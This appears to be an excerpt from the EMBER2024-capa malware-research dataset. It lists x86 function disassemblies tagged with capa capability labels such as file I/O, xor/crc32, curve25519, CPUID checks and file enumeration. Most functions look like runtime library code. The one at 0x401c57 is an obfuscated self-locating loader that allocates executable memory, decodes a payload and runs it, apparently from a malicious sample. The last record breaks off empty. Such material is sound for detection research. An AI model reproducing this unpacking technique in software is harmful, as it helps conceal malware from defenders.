joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4c3540
Capabilities:
Reference processor manufacturer constants

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 8
mov edi, ecx
xor eax, eax
xor ecx, ecx
cpuid
test eax, eax
jle 0x4c364b
mov esi, eax
mov dword [ebp - 0x14], edi
mov eax, 1
xor ecx, ecx
cpuid
mov edi, eax
mov dword [ebp - 0x10], ecx
mov ecx, 0
cmp esi, 7
mov ebx, 0
jb 0x4c3591
mov eax, 7
xor ecx, ecx
mov esi, edx
cpuid
mov edx, esi
and ebx, 0x20
shr cl, 3
and cl, 1
mov esi, ecx
mov ecx, dword [ebp - 0x14]
mov dword [ecx], edi
mov eax, edi
and eax, 0xf
mov dword [ecx + 8], eax
shr edi, 0xc
and edi, 3
mov dword [ecx + 4], edi
mov edi, ecx
mov eax, edx
shr eax, 0x17
and al, 1
mov byte [ecx + 0xc], al
mov eax, edx
shr eax, 0x19
and al, 1
mov byte [ecx + 0xd], al
shr edx, 0x1a
and dl, 1
mov byte [ecx + 0xe], dl
mov ecx, dword [ebp - 0x10]
mov eax, ecx
and al, 1
mov byte [edi + 0xf], al
mov eax, ecx
shr eax, 9
and al, 1
mov byte [edi + 0x10], al
mov eax, ecx
shr eax, 0x13
and al, 1
mov byte [edi + 0x11], al
mov eax, ecx
shr eax, 0x14
and al, 1
mov byte [edi + 0x12], al
mov eax, ecx
shr eax, 0x17
and al, 1
mov byte [edi + 0x13], al
mov eax, ecx
shr eax, 0x1f
mov byte [edi + 0x1a], al
mov eax, ecx
not eax
test eax, 0x1c000000
jne 0x4c361b
xor ecx, ecx
xgetbv
not eax
test al, 6
sete al
jmp 0x4c361d
xor eax, eax
mov byte [edi + 0x14], al
mov edx, dword [ebp - 0x10]
mov ecx, edx
shr ecx, 0x19
and cl, 1
mov byte [edi + 0x17], cl
shr edx, 0xc
and dl, 1
mov byte [edi + 0x15], dl
test al, al
setne al
test ebx, ebx
setne cl
and cl, al
mov byte [edi + 0x16], cl
mov eax, esi
mov byte [edi + 0x18], al
mov eax, 0x80000000
xor ecx, ecx
cpuid
cmp eax, 0x80000006
jle 0x4c3670
mov eax, 0x80000007
xor ecx, ecx
cpuid
and dh, 1
mov byte [edi + 0x19], dh
test dh, dh
jne 0x4c36a2
jmp 0x4c3677
mov dh, byte [edi + 0x19]
test dh, dh
jne 0x4c36a2
cmp byte [edi + 0x1a], 0
je 0x4c36a2
mov eax, 0x40000000
xor ecx, ecx
cpuid
cmp ebx, 0x7263694d
jne 0x4c36a2
cmp ecx, 0x666f736f
jne 0x4c36a2
cmp edx, 0x76482074
jne 0x4c36a2
mov byte [edi + 0x19], 1
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x4c3cf0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x10
mov ebx, dword [ebp + 0xc]
mov eax, dword [0x533014]
xor eax, ebp
mov dword [ebp - 0x10], eax
test ebx, ebx
je 0x4c3d6c
mov eax, dword [ebp + 8]
cmp dword [0x548abc], eax
jg 0x4c3d6c
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edi, eax
mov dword [ebp - 0x1c], esi
add esi, ebx
nop dword [eax]
cmp ebx, esi
jae 0x4c3d5b
mov dword [ebp - 0x18], 0
mov eax, esi
sub eax, ebx
push 0
lea ecx, [ebp - 0x18]
push ecx
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4c3d5b
mov eax, dword [ebp - 0x18]
add ebx, eax
test eax, eax
jne 0x4c3d30
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
mov eax, dword [ebp + 0xc]
je 0x4c3d6c
cmp byte [ecx + eax - 1], 0xa
jne 0x4c3d84
cmp dword [ebp + 8], 3
je 0x4c3dd1
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004e3343
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
mov edi, 0x51ac41
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov esi, eax
lea ebx, [ebp - 0x14]
nop word cs:[eax + eax]
cmp edi, 0x51ac42
jae 0x4c3d6c
mov dword [ebp - 0x14], 0
mov eax, 0x51ac42
sub eax, edi
push 0
push ebx
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4c3d6c
mov eax, dword [ebp - 0x14]
add edi, eax
test eax, eax
jne 0x4c3da0
jmp 0x4c3d6c
int3

Function at 0x4c4800
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov ecx, dword [ebp + 0x10]
mov eax, dword [ebp + 8]
test ecx, ecx
je 0x4c4838
mov edx, dword [ebp + 0xc]
xor esi, esi
nop word cs:[eax + eax]
movzx edi, al
movzx ebx, byte [edx + esi]
xor ebx, edi
shr eax, 8
xor eax, dword [ebx*4 + 0x52a62c]
inc esi
cmp ecx, esi
jne 0x4c4820
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x4cabc0
Capabilities:
Encrypt data using curve25519

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x1a0
mov eax, dword [0x533014]
xor eax, ebp
mov dword [esp + 0x198], eax
pcmpeqd xmm0, xmm0
movdqa xmmword [esp + 0xd0], xmm0
movdqa xmmword [esp + 0xc0], xmm0
movdqa xmmword [esp + 0xb0], xmm0
movdqa xmmword [esp + 0xa0], xmm0
lea esi, [esp + 0xa0]
push esi
push 0x20
push dword [ebp + 0x10]
call fcn.004847f0
add esp, 0xc
and byte [esp + 0xa0], 0xf8
movzx eax, byte [esp + 0xbf]
and al, 0x3f
or al, 0x40
mov byte [esp + 0xbf], al
pcmpeqd xmm0, xmm0
movdqa xmmword [esp + 0x90], xmm0
movdqa xmmword [esp + 0x80], xmm0
movdqa xmmword [esp + 0x70], xmm0
movdqa xmmword [esp + 0x60], xmm0
movdqa xmmword [esp + 0x50], xmm0
movdqa xmmword [esp + 0x40], xmm0
movdqa xmmword [esp + 0x30], xmm0
movdqa xmmword [esp + 0x20], xmm0
movdqa xmmword [esp + 0x10], xmm0
movdqa xmmword [esp], xmm0
mov edi, esp
push 0x52ac74
push esi
push edi
call fcn.004c7940
add esp, 0xc
pcmpeqd xmm0, xmm0
movdqa xmmword [esp + 0x150], xmm0
movdqa xmmword [esp + 0x140], xmm0
mov dword [esp + 0x164], 0xffffffff
mov dword [esp + 0x160], 0xffffffff
movdqa xmmword [esp + 0x120], xmm0
movdqa xmmword [esp + 0x110], xmm0
mov dword [esp + 0x134], 0xffffffff
mov dword [esp + 0x130], 0xffffffff
movdqa xmmword [esp + 0xf0], xmm0
movdqa xmmword [esp + 0xe0], xmm0
mov dword [esp + 0x104], 0xffffffff
mov dword [esp + 0x100], 0xffffffff
movsd xmm0, qword [esp + 0x70]
movsd qword [esp + 0x190], xmm0
movdqa xmm0, xmmword [esp + 0x50]
movaps xmm1, xmmword [esp + 0x60]
movaps xmmword [esp + 0x180], xmm1
movdqa xmmword [esp + 0x170], xmm0
lea esi, [esp + 0x140]
lea edx, [esp + 0x170]
mov ecx, esi
call fcn.004d1ba0
lea ebx, [esp + 0x110]
mov ecx, ebx
mov edx, edi
push esi
call fcn.004d1f60
add esp, 4
lea edx, [esp + 0x28]
lea edi, [esp + 0xe0]
mov ecx, edi
push esi
call fcn.004d1f60
add esp, 4
mov esi, dword [ebp + 8]
mov ecx, esi
mov edx, edi
call fcn.004c58b0
pcmpeqd xmm0, xmm0
movdqa xmmword [esp + 0x180], xmm0
movdqa xmmword [esp + 0x170], xmm0
lea ecx, [esp + 0x170]
mov edx, ebx
call fcn.004c58b0
movzx eax, byte [esp + 0x170]
shl al, 7
xor byte [esi + 0x1f], al
mov eax, dword [ebp + 0x10]
movups xmm0, xmmword [eax]
movups xmm1, xmmword [eax + 0x10]
mov eax, dword [ebp + 0xc]
movups xmmword [eax + 0x10], xmm1
movups xmmword [eax], xmm0
movups xmm0, xmmword [esi]
movups xmm1, xmmword [esi + 0x10]
movups xmmword [eax + 0x20], xmm0
movups xmmword [eax + 0x30], xmm1
mov ecx, dword [esp + 0x198]
xor ecx, ebp
call fcn.004e3343
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x4d0550
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
push 0x20
push esi
call fcn.00483030
add esp, 8
or byte [esi], 7
movzx eax, byte [esi + 0x1f]
and al, 0x3f
or al, 0x80
mov byte [esi + 0x1f], al
pop esi
pop ebp
jmp fcn.004d0580
Function at 0x4ef8e1
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004efa84
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x4efa59
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x4efa59
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x4efa08
jg 0x4ef93a
test eax, eax
je 0x4ef9fe
push 1
push 0x1000
call fcn.0044a200
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x4ef960
mov eax, dword [ebp + 0x14]
push 0xc
pop edi
mov byte [eax + 0x1c], 1
mov dword [eax + 0x18], edi
jmp 0x4ef9f5
push 0x8000
push ebx
call fcn.004f4ac3
mov edi, dword [ebp + 0x14]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x4ef98c
jg 0x4ef987
cmp ecx, 0x1000
jb 0x4ef98c
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.004f7a5a
add esp, 0x10
cmp eax, 0xffffffff
je 0x4ef9d1
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x4ef987
jl 0x4ef9b8
test ecx, ecx
jne 0x4ef979
push dword [ebp - 0xc]
push ebx
call fcn.004f4ac3
push esi
call fcn.0044a180
add esp, 0xc
xor edi, edi
jmp 0x4efa6a
cmp byte [edi + 0x24], 0
je 0x4ef9e8
cmp dword [edi + 0x20], 5
jne 0x4ef9e8
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x4ef9f3
mov edi, dword [edi + 0x18]
jmp 0x4ef9f5
xor edi, edi
push esi
call fcn.0044a180
pop ecx
jmp 0x4efa6a
test ecx, ecx
jg 0x4ef9ca
jl 0x4efa08
test eax, eax
jae 0x4ef9ca
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004ffac0
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x4efa2b
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x4ef9ca
jmp 0x4efa62
push ebx
call fcn.004f303a
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x4ef9ca
mov esi, dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [esi + 0x24], 1
mov dword [esi + 0x20], eax
pop edi
mov byte [esi + 0x1c], 1
mov dword [esi + 0x18], edi
jmp 0x4efa6a
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x4efa67
mov edi, dword [edi + 0x18]
jmp 0x4efa6a
push 0x16
pop edi
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.004ffac0
add esp, 0x10
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4f2a73
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.004e3c60
mov eax, dword [0x533014]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.004f26a5
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x4f2ab5
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x4f2c11
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.005035e0
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x5378b8]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.004ffb1e
mov ecx, dword [esi*4 + 0x5378b8]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x4f2c0a
cmp eax, dword [edi + ecx + 0x24]
jne 0x4f2c0a
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4f2c0a
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004ffb1e
add esp, 0x14
test edx, edx
jl 0x4f2c0a
jg 0x4f2b80
test eax, eax
jb 0x4f2c0a
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x4f2c0a
jl 0x4f2b9a
cmp dword [ebp - 0x1008], eax
ja 0x4f2c0a
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x4f2bb8
test ebx, ebx
je 0x4f2bf1
cmp ecx, edi
jae 0x4f2bf1
mov al, byte [ecx]
cmp al, 0xd
jne 0x4f2bd2
lea eax, [edi - 1]
cmp ecx, eax
jae 0x4f2bde
cmp byte [ecx + 1], 0xa
jne 0x4f2bde
inc ecx
jmp 0x4f2bde
movzx eax, al
movsx eax, byte [eax + 0x533280]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x4f2bb8
cmp edx, ebx
jne 0x4f2bb8
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x4f2c0f
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.004e3343
leave
ret
Function at 0x4f45d8
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x5378b8]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4f4618
cmp byte [ebx], 0xa
jne 0x4f4618
or byte [eax + edi + 0x28], 4
jmp 0x4f461d
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x4f471b
mov al, byte [edx]
cmp al, 0x1a
je 0x4f46fd
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x4f464c
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x4f4671
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x4f467b
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x4f462e
jmp 0x4f471b
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4f46f8
cmp dword [ebp - 0xc], 0
je 0x4f46f8
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x5378b8]
test byte [eax + edi + 0x28], 0x48
je 0x4f46d2
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x4f46bd
mov byte [esi], dl
jmp 0x4f46ce
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x5378b8]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x4f471b
cmp byte [ebp - 1], 0xa
jne 0x4f46e1
cmp esi, ebx
jne 0x4f46e1
mov byte [esi], 0xa
jmp 0x4f471a
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.004ffac0
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x4f471b
mov byte [esi], 0xd
jmp 0x4f471a
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x5378b8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4f4717
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4f471b
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4f4724
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x5378b8]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4f4767
cmp word [esi], dx
jne 0x4f4767
or byte [edi + eax + 0x28], 4
jmp 0x4f476c
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x4f48a5
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x4f4885
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x4f47ae
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x4f47e4
cmp eax, edx
jae 0x4f47f0
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x4f4786
jmp 0x4f48a5
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4f4881
cmp dword [ebp - 0x14], 0
je 0x4f4881
mov eax, dword [ebx*4 + 0x5378b8]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x4f4859
mov cx, word [ebp - 4]
pop eax
cmp cx, ax
je 0x4f489f
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x5378b8]
push 0xa
mov byte [edi + eax + 0x2a], cl
mov eax, dword [ebx*4 + 0x5378b8]
shr cx, 8
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x5378b8]
pop ecx
mov byte [edi + eax + 0x2c], cl
jmp 0x4f48a2
pop ebx
cmp word [ebp - 4], bx
jne 0x4f486a
cmp esi, dword [ebp + 0xc]
jne 0x4f486a
mov word [esi], bx
jmp 0x4f48a2
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.004ffac0
add esp, 0x10
cmp word [ebp - 4], bx
je 0x4f48a5
push 0xd
jmp 0x4f489e
mov ecx, dword [ebx*4 + 0x5378b8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4f489c
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4f48a5
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4fd566
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x5106b8
push 0x5106b0
push 0x5106b8
push 0x1e
call fcn.004fdac2
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4fd59a
push dword [ebp + 8]
mov ecx, esi
call dword [section..00cfg]
call esi
jmp 0x4fd5a0
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x4fd5e4
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x5106dc
push 0x5106d4
push 0x5106dc
push 0x20
call fcn.004fdac2
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4fd61b
push dword [ebp + 8]
mov ecx, esi
call dword [section..00cfg]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x502472
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x533014]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x5024bd
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.005025e8
test al, al
jne 0x5024b7
sub edx, 2
cmp edx, edi
jne 0x50249d
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x5024df
lea eax, [edi + 2]
cmp edx, eax
je 0x5024df
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.005023be
add esp, 0x10
jmp 0x5025d9
push esi
lea ecx, [ebp - 0x255]
call fcn.005025e8
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x502522
push dword [ebp - 0x25c]
jmp 0x5024cf
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x50255f
cmp word [ebp - 0x226], 0
je 0x502580
cmp word [ebp - 0x226], ax
jne 0x50255f
cmp word [ebp - 0x224], 0
je 0x502580
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.005023be
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x5025cc
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x502539
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x5025b4
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x5025d9
push 0x502610
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.004f9bd0
add esp, 0x10
jmp 0x5025a9
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004e3343
leave
ret
Function at 0x503741
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x5037de
push ebx
push esi
call fcn.0050382f
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0050368a
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x50378b
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x5037dd
push edi
push eax
call fcn.0044a130
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x5037ab
call fcn.0044a180
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x5037dc
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0050368a
add esp, 0x20
test eax, eax
jne 0x5037ca
push edi
call fcn.0044a180
jmp 0x5037d2
push ebx
call fcn.0044a180
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x5037e1
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x5037f2
pop esi
ret
push ebx
push edi
push esi
call fcn.0050382f
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.0044a130
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x50381a
push ebx
push esi
push edi
call fcn.004e5930
add esp, 0xc
push 0
call fcn.0044a180
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x503871
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00503ada

Function at 0x506227
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00506232
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x401c66
pop dword [ebp - 0x1c]
mov eax, 0x401c66
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xb5264d0a
sub dword [ebp - 0x2c], 0x66d407bf
mov dword [ebp - 0x28], 0xb021232d
sub dword [ebp - 0x28], 0x7dedd6e8
mov dword [ebp - 0x24], 0x5b9c2678
add dword [ebp - 0x24], 0xf0b01db6
mov dword [ebp - 0x20], 0xa31cf1d2
add dword [ebp - 0x20], 0x5ce30e2e
lea eax, [ebp - 0x2c]
push eax
mov eax, 0x598ec929
sub eax, 0x594e98d5
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x25a3083b
sub dword [ebp - 0x2c], 0xb1309ee5
mov dword [ebp - 0x28], 0xd5314fad
sub dword [ebp - 0x28], 0x93c4ee38
mov dword [ebp - 0x24], 0xd4ffabf9
sub dword [ebp - 0x24], 0x71903f8d
mov dword [ebp - 0x20], 0x147cbc27
add dword [ebp - 0x20], 0xeb8343d9
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0x7f158a92
sub eax, 0x7ed55a66
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x34ce6
push 0
call eax
mov ecx, 0xf56c861f
add ecx, 0xa93bb2e
xor esi, esi
add esi, eax
mov edi, 0x11454eb3
add edi, 0xeefb214d
add edi, dword [ebp - 0x1c]
mov ebx, 0x629ad470
add ebx, 0x375a67b0
xor dword [ebp - 8], edi
mov edx, dword [edi]
xor dword [ebp - 0xc], edi
add edx, ebx
sub dword [ebp - 4], 0xc65b0e8e
mov dword [esi], edx
xor dword [ebp - 0x14], ebx
add esi, 0x3025117a
sub esi, 0x30251176
add edi, 4
loop 0x401d85
add eax, 0x591ff1ab
add eax, 0xa6e1065c
xor ebx, ebx
add ebx, eax
add eax, 0x199ebbf6
sub eax, 0x199ebbf1
mov ecx, 0x799d2a3f
add ecx, 0x86a2d5c1
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
